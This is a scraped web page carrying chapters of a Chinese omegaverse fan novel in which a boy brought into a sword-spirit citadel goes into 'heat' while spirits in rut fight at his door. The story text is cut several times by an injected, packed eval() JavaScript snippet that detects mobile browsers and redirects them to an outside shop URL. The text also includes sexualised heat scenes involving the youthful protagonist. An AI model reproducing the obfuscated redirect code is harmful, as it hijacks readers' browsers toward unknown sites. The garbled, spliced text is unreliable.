鹤见悠纪成功得到想要的情报,接下来的日子整个人肉眼可见变得开心起来了。 他白天轻松的找个角落坐下,小腿开心地晃了晃,就像晒足了阳光的植物一样,任何地方都能肆意的伸展枝条。 后颈腺体的异常被高兴冲散,只有在夜深人静的时候,他才会恍惚地摸着后颈缓缓入睡。 他不知道自己身体的异常是否会在离开这里之后恢复,但是现在最重要的是离开这里,至于其他的等之后再想办法吧。 但是他离开之后……药研藤四郎呢? 这个问题突然出现在脑海中,然而下一秒鹤见悠纪猛地晃了晃脑袋。 想那些做什么? 既然在这之前、在没有自己的时候,对方也有办法度过,那么他离开也不过是少了一个人而已,让这里回到以前的样子。 将自己劝好,他闭上眼睛抓着被子缓缓入睡,然而最后不平静跳动的神经仿佛在诉说着异样。 今天鹤见悠纪做了一个梦。 混乱的、光怪陆离的梦。 学校,这是个充满阳光的教室,课间同桌推醒昏昏欲睡的他,窗外的阳光刺眼,但又十分温暖,鹤见悠纪道了谢迷糊着向窗外看去。 窗外的树枝被风吹得摇摇晃晃的,而在稍些粗壮的枝干上,他忽然看见了熟悉的身影。 药研藤四郎侧着身子,似乎在看些什么,察觉到他的视线,平静的眼睛向这边缓缓看来,嘴角露出一个罕见的温柔的笑容。 可靠又平静,看着就十分安心。 明明是小小的短刀的身躯,却仿佛带着而米八的气势,和他印象中的游戏里的设定一样。 还没多想两秒,那个身影就化作黑色的沙粒消散,只剩下一片空白的寂静。 鹤见悠纪心中一阵恐慌,猛地从原地弹了起来,旁边的同桌迷茫的看着他。 他冲出教室,看着安静的走廊,又感到一阵疑惑。 自己为什么突然出来了?他不记得了。 梦境太混乱了,做梦的人却意识不到自己在做梦。 空气粘稠得像是拉出丝,却一丝风也没有。 就像是暴风雨前低垂的乌云一样,沉沉的压在这个世界的每一个角落,就连走廊地上枯死的树木都散发着腐朽的气息。 ……走廊地上的树木? 鹤见悠纪顿了一下,感觉不太对劲。 下一秒,那树跟长了脚一样从地砖里拔起根来,地面变得破碎不堪,木头与地面撞击的声音沉闷又强烈,他恐惧地看着怪物朝自己冲过来,却跟脚在地上生了根一样,丝毫不动。 鹤见悠纪被吓醒了。 大口大口的喘气,他拍着胸脯,后颈的腺体开始传来阵阵细微却刺持续的刺麻感,像是感应到了外界某种强烈的刺激。 他坐立不安,视线胡乱地扫过四周,紧接着若有所感走到门后侧耳倾听。 外面很安静,不同以往,就像是梦里的那样。 鹤见悠纪摸上门锁,想打开看看外面。 突然—— 一阵极其尖锐凄厉的金属摩擦声响起,就像指甲划过黑板被强行崩裂扭曲的声音,猛地刺入他的耳朵,紧接着又是重物被狠狠砸在地面的轰然巨响。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128578|195150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鹤见悠纪吓得一个哆嗦,心脏几乎要跳出嗓子眼,他向后连退两步。 发生了什么? 是时间溯行军闯到他这里来了吗? 不应该呀。 按照本丸中之前的状况,就连出了岔子不能所有刀剑都去应对也同样没有出现任何问题,现在是怎么回事? 所以不是…… 还没等他想明白,更多的声音炸开了。 不再是单一的和铁门碰撞的声音,还混杂着凄厉的嘶吼以及金属兵刃激烈相交的刺耳声音。 外面的交战过于激烈,好像连走廊的木头也被砍碎咔嚓一声巨响掉落在地上。 一切都狠狠的、重重的、被重力裹挟着向下砸落,然后拖行远离门口。 听起来异常激烈又混乱,就在他的门前发生了什么。 总不能真的是时间溯行军冲了进来吧! “把门锁好!” 是药研藤四郎的声音。 这道声音急促又猛烈,还带着厚重的喘吸声。 付丧神的声音给他带来几分安定,鹤见悠纪咽了咽口水,紧急检查门锁,没有问题。 让他他锁好门,所以现在待在房间里才是最安全的。 不能像之前信浓藤四郎过来那样从窗口跳出去。 那样做可能会让情况变得更加混乱。 窗户……对了,还有窗户。 鹤见悠纪赶忙冲到窗口,来不及撬开一条缝隙看外面的情况,动作迅速地将木椅抵到窗前。 太矮了,太矮了,没有用! 鹤见悠纪很着急,心脏砰砰直跳,外面越来越激烈的某种重物在地面上被拖行的可怖摩擦声,如同附骨之蛆,直往他耳朵里钻。 明明是在门外,却如同在他耳边发声。 环视房间内找不到可以趁手的工具,突然,他的后颈腺体毫无预兆爆发出一阵剧烈的灼痛。 仅仅一秒,紧接着便是更加汹涌强烈且不受控制的酸软充斥全身。 “唔……好难受……” 鹤见悠纪咬紧牙齿,但仍有呻吟不受控制地从口腔里溢出,他扶上木倚,才让身体没有直接软倒在地上。 他的眼前变得混乱,全身遍布灼热,就连呼出的气息都带着奇怪的情欲,然而门口的动静再次响起。 救命…… 20.第 20 章 鹤见悠纪升起一种近乎本能的寻找什么的冲动。 外面的走廊里响起沉重却极其迅速的脚步声。 他的感官无限放大,那不是一个人,至少有两个,正朝着他这边奔来,那好像是之前被拖行而去的方向。 其中一道脚步声混乱而暴躁,带着浓重的喘息和压抑不住的痛苦,而另一道稍显稳定但又气息急促。 是谁……是谁在向这边来? 鹤见悠纪脑子一片空白,但身体却先于他的意识做出了反应,他猛地扑到门边,手颤抖着抵在金属门上。 要锁紧。 ……没有任何用处。 如果外面的人真的想要打开门的话、真的想要用暴力打开门的话,他没有任何办法。 他不知道自己要做什么。 他身体抵到冰凉的金属的一瞬间—— 砰!!! 一瞬间,鹤见悠纪面前的门剧烈震动,只是一下便停下来了,少年大脑混乱,努力分辨造成这样动静的可能性。 急切地喘息着,浑身被滚烫的热意激得皮肉处处泛起红印。 身体是酸软的,意识是模糊的,身体深处在渴望,但是在渴望什么他又不知道。 他无法分辨清楚自己在做什么,只能努力的规避危险。 竖起耳朵认真分辨。 鹤见悠纪用力掐了掐自己的手腕,疼痛让意识一瞬清醒,他终于听出来了。 不是在撞击,而是什么沉重的东西被狠狠的砸在了木板上,而后便彻底压制在金属门上。 力道之大,让金属铸成的门板都向内凹了几分灰尘,速速落下。 鹤见悠纪被吓得缩回手,身体无力,瞬间向后跌倒。 与此同时眼前重新变得朦胧,眼中的惊恐也迅速被大脑中的热意覆盖,那扇剧烈震颤仿佛随时会被破开的门在他视野里被抹去了。 整个人脑海里只有—— 好热、好烫,谁能来救救他? 救救被不知名的东西控制住意识,甚至不知道自己在渴求什么的可怜的他。 “哈……嗬……” 门外传来沙哑得可怕喘息声,伴随着支架抓挠木板以及拳头揍在□□上的沉闷声音,一下又一下,几乎是人类身体不可承受的力道。 然后那声音里充满痛苦、压抑,还有一种近乎癫狂的渴求。 鹤见悠纪意识恍惚,他听不出对方是什么身份。 然而,下一秒药研藤四郎冰冷,急促的声音响起,压的很低:“厚!你冷静一点,离开这里!” “好难受……拦住我,拦住我,快点拦住我!” 厚藤四郎向来没有任何情绪的声音此刻嘶哑无比,带出沉重的混乱和挣扎,那些痛苦的音调仿佛是从喉咙深处挤出来的一样,浅色的眸子里满是痛苦和欲望。 鼻尖熟悉的气味飘过,即使是滚烫的意识,他也分辨出了里面的人是什么状态。 omega的雨露期…… 信息素在激发他本就处于易感期的欲望。 他应该离开这里。 捆住手脚,把自己锁起来。 身体被异样改造之后的本能让他无法逃脱,反而更加猛烈的想要打开眼前封锁的铁门。 他只能求助他的兄弟。 他只能用这样的办法来阻止自己做错事。 又是一声沉闷的撞击门板,再次剧烈伴随着厚藤四郎痛苦的闷哼和药研藤四郎权力的压制,原本坚不可摧的门都变得摇摇欲坠起来。 鹤见悠纪被厚藤四郎的声音唤醒,他顾不上软得没力的身体,用最后的理智用被子把自己包裹起来,隔绝空气。 他蜷缩在房间最里面的角落,浑身抖的像狮子一样,他能闻到浓烈的血腥味和铁锈从门缝中钻了进来,还有熟悉冰冷的水汽。 身体在渴望滚烫,炽热黏糊的反应出现在身体上,他感到恶心。 为什么会变成这样,一瞬清醒又一瞬被拉近欲望和渴望中,他艰难睁开眼睛。 或许他该再一次从窗户中逃出去,但是逃出去之后呢,最后铁门的阻碍也化为了虚无,甚至还有可能会碰到时间溯行军,直面生命的危险。 至少待在这里乖乖呆在这里,门外的威胁还有药研藤四郎处理。 没事的。 苍白的语言安慰不了痛苦的身体了。 鼻尖的信息素恍然间还混杂着要药研藤四郎的气息,alpha的信息素的熟悉让omega不自觉的显出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132068|195150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几分依赖。 在不久之前,这股气息曾进入他的身体,罪恶陌生的体质在现在的状态下记起了那种感受。 omega信息素变得不受控制起来,让他成为将事态发展的更加严重的柴火。 “唔……可恶……”鹤见悠纪徒劳地愤怒着,声音很快淹没被子中。 他不知道现在该怎么做,也不知道该怎么抗拒身体内身体的反应。 现在的混乱显然已经超过了他的承受范围,明明白日已经…… 他闭了闭眼睛。 平稳前进的事态失控了,为什么会突然发生这样的事情? 没事的,没事的。 有药研藤四郎在的话没有关系的,不会发生什么…… 他不停劝着自己,试图用别的事情在一波又一波升起的热潮中平复变得奇怪的身体。 眼泪不受控制的落了下来。 好烫,好咸,这种最无用的东西偏偏在最需要帮助的时候落了下来,它的存在只能用来宣泄情绪,甚至宣泄都无法肆意。 “悠纪!”药研藤四郎的声音突然拔高,他顾不上omega真名被听取一半的后果,声色穿透铁门,带着一种罕见的近乎命令的凌厉口吻,“从窗口爬出来,快!” 但鹤见悠纪已经意识模糊,他已经完全被蒸腾的热意控制住了,药研藤四郎发现门内没有任何反应,眸光一凛,很快明白过来omega身体的状态已经不容他保持清醒了。 更加激烈的碰撞和重重的倒地声在门口响起,厚藤四郎发出一声近乎疯狂的呜咽,抓挠铁门和地板的声音变得撕心裂肺,指甲都要劈开了。 药研藤四郎有些不忍心,但还是将人束缚住,想将alpha控制在原地,甚至带离这里。 刚刚差点就成功了,结果却一不留神被激烈反应的厚藤四郎反制了。 不行,要先让鹤见悠纪离开这里。 鹤见悠纪迷迷糊糊将自己蜷缩起来。 大脑中飞快闪过什么,他抿起嘴唇,眼角挂上泪珠,难受得快要哭出来了。 然而下一刻,身体猛地腾空,温暖的怀抱带着一股桂花香包裹住他,让omega混乱的大脑清明一瞬,口中控制不住发出一声呜咽。 21.第 21 章 后藤藤四郎一顿,神色复杂的看了一眼怀中的少年。 而后又连忙收回视线,他屏住呼吸,omega诱人的气息在他眼里恍若无物。 明明同样是alpha却没有受到任何影响,身姿灵活的从窗口跳了出去。 离开时不忘重重将窗户关上。 药研藤四郎敏锐的捕捉到动静,手下动作一松,厚藤四郎被压制的模样瞬间松开了。 然而,出乎意料的看起来十分渴望,恨不得下一秒就冲进去将omega吞吃入肚的厚藤四郎却在门口自己和自己搏斗了起来。 药研藤四郎一惊,连忙再次将他固在原地。 他刚刚那么用力的固定厚藤四郎还以为是这家伙被诅咒控制了大脑,结果现在看起来,虽然还是没有抵抗住,却也变成了自残。 这也不行啊! 看着满脸痛苦欲望和自己之前狼狈模样十分相似的兄弟,他不由得叹了口气,没成想自己低估了自家兄弟的忍耐力。 另一边,鹤见悠纪手忙脚乱地缠上将自己抱住的alpha。 后藤藤四郎虽然看起来没有什么反应,但是初次经历这种状态的omega却不像他这样平静。 “好热、好热……水……” 他止不住地低声呜咽,渴求着。 即使眼前是陌生的存在,但是能够带来清冷的信息素以及冰凉的□□就足够让他纠缠下去。 鹤见悠纪完全失去了理智,他的体质已经在这段时间内彻底转向了omega。 他成为了诅咒中的一员。 后藤藤四郎实际上却没有表面看起来那么云淡风轻,他咬着牙,忍下雨露期omega对alpha的诱惑力,但凡有一点反应,他都要努力唾弃自己了。 后藤藤四郎,这可是你兄弟喜欢的人,绝对不能做那等夺兄之妻的坏人! 鹤见悠纪后颈灼痛不已,信息素不受控制的在他的血液内冲撞,他不知道自己怎样才能让眼前的解药帮他,也不知道现在是什么状态。 快速移动时,冰凉的风仿佛都能给他带来丝丝的舒坦。 他实在是太热了,无论是身体内还是身体外,从全身上下每一个缝隙里生出的热意,都像把他架在火上烤一样。 时间过得无比漫长,药研藤四郎的解药是和他亲吻,那么他的解药呢?是和谁亲吻,还是做更加过分的事情?他无法在此刻理顺这些,大脑纠结得可怕,就像打结的麻花一样。 就在他几乎再次绝望的时候,感觉自己的身体被塞进了柔软的被子里里,突如其来的触感让鹤见悠纪顿住,他迷茫的抬起脑袋,红彤彤的眼睛可怜兮兮地看向将自己塞进去的付丧神。 后藤藤四郎动作一顿,又连忙撇开脑袋,欲盖弥彰的将被子往上扯了扯,几乎遮住鹤见悠纪大量的脑袋, “你先待在这里,别到处跑,我就在外面。事情解决了再来叫你,如果困了也可以先睡,不会有事的。” 这些话仿佛烫嘴,他突突突全部说完就慌忙跑了出去,却还不忘将门老老实实完全关上。 鹤见悠纪听懂了大半。 所以就是给他换了个位置。 他扯了扯被子,浑身滚烫,就连柔软的床榻都比他身上的温度低了许多,他将脸颊贴在枕头上,有一丝凉意。 眼睛雾蒙蒙地抬起,环绕周围,没有什么特殊的,只是在视线能看清的地方突兀地放着一个刀架。 本丸里有刀架但也没什么稀奇的。 鹤见悠纪眯起眼睛,咸咸的液体再次覆盖了他的世界,用力眨了眨,又抬手将眼泪抹去,脑袋昏昏沉沉。 他卷了卷被子,是干净的洗衣粉的味道…… 好像是药研藤四郎之前给他带来的那种同样的款式。 鹤见悠纪迷迷糊糊地想着,身上和alpha贴近时残留的信息素终究还是起了微弱的安抚作用。 他用力甩了甩脑袋,紧接着头顶都直接缩进被子里,试图用软乎乎的触感和微弱的冰冷缓解身体的不适。 虽然后藤藤四郎说如果困了可以睡觉,但是他现在的状态那里还睡得着。 omega都被身体内的欲望折腾得痛苦不堪,虽然没有alpha易感期那样暴躁又充满占有欲的渴望,但是他仍旧无法忽视。 是否有什么东西、比如说药剂之类的可以解决这样的状态呢?如果没有的话,能不能想办法造出来… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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22.第 22 章 鹤见悠纪是在天将将亮的时候突然醒过来的,他刚迷糊着发出两声无意义的呜咽,就有手臂扶着他的背轻轻坐起来。 温热的水随着凑到嘴边。 他张开嘴,咽了下去。 恰到好处的温水滋润了干燥的喉咙。 昨夜被温度蒸腾的全身都仿佛失水了……热烈的太阳将他整个人灼烧成了沙漠。 那种状态太奇怪了,也太可怕了。 鹤见悠纪冥冥中觉得自己身体内的状态还没有完全被遏制住。 但至少现在不会像昨天一样直接软倒在卧室中,仿佛四肢都失去了力量一样。 “现在是什么时候了?” 他晃了晃脑袋,小声问道。 “你睡了七个小时。”药研藤四郎这样回答。 他看着少年将水喝够了,将水杯放在一边,随即又端起一碗粥,哄着他,“吃点东西吧。” 温热的白粥入口即化是极好吃的,细细品味竟然还能尝到几分甜味,鹤见悠纪有些新奇。 两人都不说话,就这样你喂一口我吃一口,时间缓慢过去,一碗白粥很快见了底。 鹤见悠纪胃里终于不再空荡荡了,虽然口里味道不甚丰富,但是温暖的胃让他感觉舒坦了很多。 他抓着被子,一阵凉意拂过肩膀,低头这才发现自己衣衫不整的样子,脸上一热,瞬间拿起被子欲盖弥彰一样往身上遮盖。 “我、我的衣服呢?” 身上的衣服明显不是自己的,大了一个号,也不像是药研藤四郎的…… 甚至不像是他见到过的任何一把短刀的衣服。 “你昨晚状态很不对劲,应该是进入雨露期了,衣服湿透了就给你换了一身,”看出他的纠结,药研藤四郎解释着,“你放心,衣服是干净的,没有人穿过。这座本丸里总会有一些奇奇怪怪,但有用的东西。” 至于之前为什么直接拿了自己的内番服而不是拿这些衣服给对方,他没有提起。 他自己也不知道。 鹤见悠纪闻言也放下了被子,但是因为衣服过于宽大而露出了大半皮肤,仍让他有些不太适应,毕竟不论是自己的那套校服还是药研藤四郎给他送来的衣服都和他平常“保守”的穿着是同一种风格。 领口太大了,还有一股凉风隐隐约约往里窜,或许是他的心理作用,他觉得有些冷。 白天的药研藤四郎又变成了甜甜的,鹤见悠纪清晰闻到alpha的信息素在空气中飘荡,他也能感觉到自己的身体在信息素的包裹下似乎有所放松。 空气中突然静了下去,两个人相对无言,都不知道说什么开启话题,或者说在现在说什么都觉得尴尬。 最后还是药研藤四郎率先打破了寂静,他低头掖了掖被子,“你先休息休息,等身体好些了我们就试试能不能和本丸建立联系。” “需要做些什么准备吗?” 药研藤四郎拍了拍鹤见悠纪的肩膀,声音沉稳又可靠,“不用,到时候跟着我说的做就好了。” 虽然没有做过狐之助的工作,但是,暂时让自己担任一只狐狸的角色也不是不行。 “好。” 鹤见悠纪乖巧点头。 雨露期还没结束,他身上的omega信息素更浓郁了。 药研藤四郎抿唇,他移开视线,虽然有些不自在,但还是不忘提醒,“这几天都不要和厚藤四郎见面了,可能会发生一些不太好的事情,而且你也身体不太舒服,可以多加注重休息一些。” 鹤见悠纪眨了眨眼,他回想起昨晚的状况还有些心有余悸。 突然在门□□发的战斗和拖行的声音都超出他的认知,他静了片刻之后还是小心翼翼的看向眼前的付丧神问道,“昨天晚上,你们是打架了吗?” “不是打架。”药研藤四郎否定,他解释,“是在帮助他控制自己。” 看鹤见悠纪不太懂的样子,他举了个例子,“就像之前的我一样,如果不是你过来了,我也会像那样失控,不论是破坏建筑还是破坏旁的什么……” 他自嘲地扯了扯嘴角, “很可怕不是吗?” 像疯子,又像野兽。 压制了许久又得不到满足的alpha早已不是最开始进入易感期那样只是简单的狂躁,现在的他们要么得到安抚,要么就是破坏。 虽然这座的本丸十分破破烂烂了,但也没必要继续破坏它了。 仅存的完好的建筑都能成为他们最后的体面,所以兄弟之间互相帮助控制失控已经成为一件约定成俗的事情。 鹤见悠纪的存在,终究只是一个例外。 “别这么说。” 鹤见悠纪摇头,“你有没有伤害到谁,不要为不存在的事情否定自己。” “……”药研藤四郎没有回应。 “那现在是什么情况?还需要做些什么?” 鹤见悠纪没看出他的沉默,他忐忑着昨晚的情况, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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alpha在那种状态下跟野兽有什么区别呢? 药研藤四郎无可反驳。 手被晃了晃,他抬头,鹤见悠纪正看着他,湿润的眼睛里满是疑惑。 “我会想办法。” 他们还有另一个身份。 付丧神。 23.第 23 章 鹤见悠纪眨了眨眼,他看着付丧神低头思考,一双紫色的眼眸暗沉沉的。 他放松身体,努力让骨子里的酸软放松开来。 他知道药研藤四郎不会弃自己于不顾肯定会找到办法,只需等待就好。 不论是回家还是平安……眼前的付丧神似乎已经成为了他的一把好刀。 他看着那只握紧自己的手,嘴角勾起又被自己努力压下,不行,他不能这样就洋洋得意了。 只是现在还愿意而已,他必须要在这家伙反悔之前先签订契约才行,他必须让药研藤四郎真的成为自己的刀。 如果不这样做就不行,如果不这样做他就回不去了,如果不这样做……就会死去的。 在这里的这么多把刀中,只有药研藤四郎会帮他做到这种程度。 连他自己都没有察觉到,他这样相信着。 “你也和他们签订契约吧?” 鹤见悠纪还沉浸在自己热血沸腾的想象中,耳边冷不丁的出现这样一句话。 “啊?” 他茫然的抬起头,看见的却是药研藤四郎无比坚定且严肃的面容,对方好像是在认认真真思考之后才说出这句话的。 “……我为什么要和他们签订契约?” “……” 药研藤四郎沉默了,他突然反应过来自己说了什么狼虎之词,刚刚完全沉浸在如何让鹤见悠纪不受到伤害中,忘记了就算他想也得大家都愿意才行。 成为了他们的审神者,作为付丧神便天然会保护自己的主人,鹤见悠纪也不是会做出伤天害理把他们往死里折磨的性子,也就不会激起付丧神的反叛,让暗堕加深,最后达成弑主的结局。 所以让鹤见悠纪和本丸中所有的刀剑签订契约,就成为最简单的保护他安全的法子。 “药研?” 鹤见悠纪见他不说话,便双手带着他的手晃了晃,想让人回过神来。 少年因为雨露期尾音都软软的,满心满意注视着alpha,轻轻晃动手臂,看起来就像在撒娇一样。 药研藤四郎狼狈地抬手压下他的动作,“你别这样。” 鹤见悠纪懵了。 他哪样? 他真的很疑惑,再问了一次之前的问题,“我为什么要和他们也签订契约呀?不可以只和你吗?我只想和你。” 更多的刀剑造成更多的麻烦吧,毕竟他想和付丧神签订契约的原因是想回家,回家之后就要和这边切断关系,既然如此,就没必要造成更多的羁绊了。 而药研藤四郎听了这话,眼神更加复杂, “……好。” 耳尖默默红了,他清咳两声, “你不想那就不了吧,我会保护好你的。” 话音落下,他拿起一边的衣服披在少年的身上,身子一弯,手臂穿过鹤见悠纪的腿弯将人抱了起来,动作轻巧,仿佛怀中少年只是一片羽毛一样,毫无重量。 鹤见悠纪被他突然的动作已经条件反射,伸出双臂环绕在付丧神的颈脖上,被带出房间时他的视线扫过一边的刀架。 那上面放了一把短刀。 ……昨天晚上的时候,那上面有刀吗? 鹤见悠纪有些记不清了,但等彻底出了房间窗外的太阳落在脸上的时候,他便没了心思再去想那些。 药研藤四郎前进的方向不是他来到本丸之后居住的那个小房间,而是付丧神自己的屋子。 干净整洁的桌子上摆放着一本书,鹤见悠纪视线停留,没看两眼那本书就被塞进了他的手里, 药研藤四郎说:“感兴趣吗?可以看看,内容还是蛮有趣的。” 鹤见悠纪乖巧的端坐着,他翻开书也有些好奇,在药研藤四郎口中显得有趣的书籍是什么样子的? 然而一翻开,直白的骨骼肌肉血管全部都暴露在他的眼前,他面色僵住了。 这也太露骨了吧? 他对这种东西完全没有任何兴趣! 但是看着药研藤四郎期待的眼神,他便耐着性子开始缓慢的看起来,虽然有很多他看不懂的专业名词,但大部分东西以他现在所学到的生物知识也能看个七七八八的。 人体的秘密比他想象中的还多,并非只是上学时所学到的知识能够解释的清楚的。 而药研藤四郎本就是为了学习而看这些书的,上面还记载了许多用于治疗的办法,但是几乎看了一半,也没有自己如今状态的解法。 也是了,自己的身体,现在会变成这样、后颈会那样发烫,都是因为那个前主的诅咒,既然不是科学侧的事情了,那自然不能用科学的办法解释。 只不过既然是诅咒,应当也有办法解除才是。 鹤见悠纪暗下眸子,那等之后找到时之政府,他是否可以寻求帮助解除身上的状态呢? 他想要回到正常的生活。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你好像很喜欢摸我的脑袋,”鹤见悠纪摆脱了手指的控制之后揉了揉自己的脸颊,他抬头看向药研藤四郎,好奇地问道,“难道手感真的很好吗?” 边说着他边抬起手摸了摸自己的脑袋,试图感受。 药研藤四郎看着他有趣的模样,眼眸弯了弯,半晌盯着少年好奇的视线,才开口道, “手感确实很好,我喜欢。” 也不知这句喜欢指的是否真的是手感。 24.第 24 章 鹤见悠纪自己摸来摸去也没摸出个什么差别来。 和平常没什么区别啊。 但是既然付丧神喜欢…… 他眨了眨眼睛,忽然凑近,将自己的脑袋停在药研藤四郎的身前,声音软软的, “既然这样的话,就奖励你摸一下好了。” alpha的信息素在他身边环绕了一天,几乎要与omega的信息数全然混合在一起,他现在全心全意信任着眼前的alpha。 摸摸头而已,对待熟人他是很大度的。 太近了…… 药研藤四郎看着眼前柔软干净的脑壳里已衣食无忧,又觉得少年的动作直白又单纯,只因为自己喜欢就把脑袋凑了过来,但如果他喜欢别的呢,那是不是也…… 晃了晃脑袋,将自己的胡思乱想晃去,别想太多。 看着眼前一副自己不摸就不收回去的小脑袋,他还是好笑地轻柔地摸了摸。 “好了,可以了。”药研藤四郎帮鹤见悠纪理了理耳边的有些凌乱的发丝,“谢谢悠纪的奖励。” 鹤见悠纪双眼放光,满脑子都是高兴药研藤四郎身上很好闻的气息。 窗外天色渐晚,看着付丧神开始收拾东西,鹤见悠纪又拿起一边看了一半的书来。 虽然是关于医学人体方面自己不太感兴趣的书,但是用来打发时间还是足够了的。 药研藤四郎的房间有光,白日是阳光,等到了晚上就是月光,只要不关窗,怎么都不会彻底暗下去。 他看着窗外的交界线,有些期待。 从这里的角度看见的月亮是怎样的呢? 药研藤四郎收拾好再次坐到他身边来,他说,“一会儿我要出去,你要是困了的话,便直接上床睡觉吧,床单都是换的新的。不舒服就叫我,今天晚上我不会离这里太远的。” “好。”鹤见悠纪乖巧点头。 少年全身上下都透露着一股我会听话的乖巧气息。 药研藤四郎心软软,他起身却被鹤见悠纪忽然抓住衣角。 他低下头就对上少年朝他眨巴着眼睛,那双柔软的紫色眼睛中更是带着期待,他说,“可以留多一点吗?” “留什么?” 药研藤四郎疑惑,他环顾少年的四周。 手中捧着他递过来的书。 至于旁的,还有什么是他留下的东西吗? 鹤见悠纪有些羞涩,但还是说出口了,“你身上的味道感觉很好闻,很舒服,可以多留一点吗?” 信息素。 他甚至不知道那个东西叫做信息素,他只知道在药研藤四郎身上,白天甜甜的,晚上酸酸的味道让自己感觉很舒服。 那今天晚上如果能在这股气息中睡觉,是不是也会变得更加舒服呢? 药研藤四郎呼吸一滞,鹤见悠纪不知道omega向alpha祈求信息素是什么意义,但是他却是知道的。 跟在曾经的主人身边的时候,他了解到了许多关于ABO世界观方面的信息。 那些知识如同病毒一样留在他的记忆里。 此刻被自己omega祈求的…… 这究竟和求爱有什么区别? 药研藤四郎握住少年的手,他严肃认真, “悠纪,不可以对alpha说这样的话。” “为什么?” alpha又是什么? 鹤见悠纪对这些都一无所知。 “因为你是omega。” 药研藤四郎神色复杂地看着他。想来自己该找点时间向少年诉说一下相关知识了,但又想到少年很快就要离开或许这些知识对对方来说并未多大用处。 等平安度过这次雨露期若是鹤见悠纪还是想知道,他再告诉对方。 但他最后还是简单说道, “我是alpha,omega和alpha是第二性征,悠纪,我们是异性。” “面对异性,在现在的状态下,不要靠的太近。” “可是我们今天一天都靠的很近啊。” 鹤见悠纪不懂, “我们一起看书,一起吃饭,一起休息,为什么白天的时候不告诉我呢?” 是啊,为什么白天的时候不告诉他呢?药研藤四郎顿住。 “……抱歉。” 他好像有病。 药研藤四郎垂下眼眸,“是我疏忽了这些,抱歉。之后我会注意些的。” 注意不要靠的太近。 他们是al ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151854|195150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' pha和omega,而这两者是不应该靠的太近的。 特别是在没有特殊关系的情况下。 他放下这句话便转身离开了。 但最后还是没有拒绝鹤见悠纪之前的话,主动留下了些许的信息素。 是他的私心吧。 鹤见悠纪迷茫地看着他突然转变语气又突然转身离开,最后消失在自己的视野里。 他慢一拍伸手,轻轻摆动,仿佛摸到了空气中的信息素一样。 药研藤四郎刚刚的状态还有梳理的话语让鹤见悠纪对着手中的书完全看不进去了。 他头疼地起身走到里间,躺在柔软的床上看着头顶天花板发呆。 真是太奇怪了,信息不足的状况让他处处受限,他不知道药研藤四郎为什么会突然说那些话。 alpha omega究竟是什么他也不明白。 第二性征……为什么突然两个人之间就变成了不应该靠的太近的异性,他和药研藤四郎难道不都是男性吗? 后颈处的腺体的存在感再次变得强烈。 ……所以这份诅咒改变的是他身体的性别? 他的身体上除了后颈处的腺体就没有别的变化,他抱紧被子,药研藤四郎的气息淡淡的却如影随形。 无论是白日里的甜丝丝,还是晚上忽然变得酸酸的气息,他们都是从药研藤四郎身上散发出来的让自己喜欢的味道。 仿佛只要被这些气息包围鹤见悠纪就是安全的。 周边没有危险,他也不会遭遇危险。 而且在这之后给他带来安心感的付丧神,还会送他回家。 鹤见悠纪突然发现,自己好喜欢药研藤四郎啊。 他抚上心脏,但是那里特别平静。 喜欢是这样的吗? 眼中露出几分疑惑,不自觉又打了几个哈欠,他迟疑着反应过来是该睡觉了。 大脑逐渐放空,迷迷糊糊,眼前也是混乱的…… “今天这么早就要睡了吗?” 忽然有声音从眼前传来,鹤见悠纪睁开眼睛便对上一双贴得极近的碧绿色眼睛。 其中还掺杂着几分红色以及浅薄的笑意。 “?” 鹤见悠纪惊恐。 26-30 第26章 